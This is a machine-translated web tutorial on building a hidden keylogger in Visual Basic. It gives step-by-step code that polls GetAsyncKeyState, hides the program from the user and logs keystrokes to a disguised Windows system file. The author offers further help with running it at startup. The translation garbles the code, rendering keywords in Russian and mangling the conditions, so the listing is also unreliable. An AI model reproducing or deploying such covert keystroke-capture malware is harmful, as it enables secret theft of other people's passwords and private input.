This is a machine translation. The original page (in English) is available here.

Последние мировые новости: года-Почему США рассматривают возможность запрета TikTok RSS-канал

Главная> > Статьи> > Создание кейлоггера в VB
Лучшие кейлоггеры
Посмотреть еще...

Создание кейлоггера в VB

  •  
Рейтинг пользователя: 4.5-2 голоса
ОК...Я предполагаю, что у вас есть базовое понимание того, как работает visual basic и как создавать программы, отлаживать и компилировать. Если нет, напишите Мне, и я, возможно, смогу вам помочь.

Во-первых, если у вас его нет, возьмите его. Апигуид. Скачать его можно по адресу http://www.mentalis.org/agnet/apiguide.shtml

ОК. Откройте VB и запустите новое приложение. Добавьте в форму кнопку, таймер и модуль(я знаю, что модуль на самом деле не является частью формы). Это все. Измените там заголовок кнопки, чтобы начать ведение журнала
(если вы хотите, чтобы это началось дальше startup...pm я или напишите Мне по электронной почте)
Теперь, используя руководство api или просто копируя его отсюда, объявите новую функцию. функция GetASyncKeyState

Объявить функцию GetAsyncKeyState Lib "user32" псевдоним "GetAsyncKeyState"
(Бывал vKey так долго) как целое число

^- - - поместите это в раздел Объявления модуля.

Это все одна строка кода. Убедитесь, что это так. и не делится на 2 части.

Теперь у вас есть новая функция для использования через вашу программу.
ОК...
теперь мы должны сделать его "невидимым". Теперь мне очень жаль, но в Windows XP я не знаю, как удалить его из раздела "процессы" Диспетчера задач. Но не только это...его не видно.

ОК. В коде кнопки..., в событии щелчка, конечно...
ввести следующее

апп.taskvisible = false
форма 1.видимый = ложь
форма 1.прятаться
таймер1.включено = true


-а также в разделе свойств формы...измените shownintaskbar на false

Теперь, когда мы нажимаем кнопку button...it становится невидимым.

Теперь нам понадобятся некоторые переменные....
Вернувшись в раздел Объявления, объявите следующее...

Dim strLetter as String, strTotal as String

Теперь в коде таймера поставьте вот это. Я потом все объясню.
также установите интервал равным 1 и enabled равным false

Private Sub Timer1_Timer()

Для I = 28-128

Если GetAsyncKeyState <> 0, То<>

strLetter = Chr (I)


-Теперь вы можете добавить кое-что еще
- так что вместо показа
- умственно отсталые персонажи, это вам говорит
- то, что нажал пользователь. Что я имею в виду
- это если они нажмут Enter / Return, то это будет
- Покажи какую-нибудь странную коробку. Ты же этого не хочешь
- Итак, вы делаете отборное дело о I для каждого
- кнопка, которую вы хотите настроить. PM me или электронная почта
- я за помощь по этой части.


strTotal = strTotal & strLetter


Конец, Если

Следующий Я

открой "C:\Windows\SysResources.DAT " для вывода Как #1
Print #1, strTotal
закрыть #1

Конец Субмарины


- Конечный Код

Теперь все, что вам нужно сделать, это когда вы хотите проверить нажатые клавиши, открыть C:\Windows\SysResource.DAT в блокноте, и вот он. Эта программа не будет работать при запуске. Если вы хотите знать, как это сделать, напишите Мне в личку, но предпочтительно по электронной почте. Я бы предпочел, чтобы вы добавили меня в MSN Messenger. Моя электронная почта для мессенджера такова... Black_viper_13@hotmail.com
Моя электронная почта для электронной почты такова..... Anarchist_ninja_thief@hotmail.com.

Надеюсь, это поможет!
Вот вся кодировка для ламеров...

- Начало

Dim strLetter As String, strTotal As String, old as string

Private Sub Command1_Click()
Таймер1.Включено = True
Конец Субмарины

Private Sub Form_Load()
Команда 1.Подпись = "Начать Логгин"
Таймер1.Включено = Ложь
Таймер1.Интервал = 1
Конец Субмарины

Private Sub Timer1_Timer()
Для I = от 28 до 128 'ASCII-кода
Если GetAsyncKeyState <> 0, То<>
strLetter = Chr (I)
Конец, Если
Если strletter < > старый, то<>
Старый = strletter
strTotal = strTotal & old
Конец, Если
Следующий Я
Открой "C:\windows\SysResources.dat " для вывода Как #1
Print #1, strTotal
Закрыть #1
Конец Субмарины

- Конец

я думаю, что это все, кроме модуля, конечно.
Дата публикации:
Читайте статью полностью
Главная> > Статьи> > Создание кейлоггера в VB
Важно! Установка средств компьютерного мониторинга на компьютеры, которыми вы не владеете или не имеете разрешения на мониторинг, может нарушать местное, государственное или федеральное законодательство.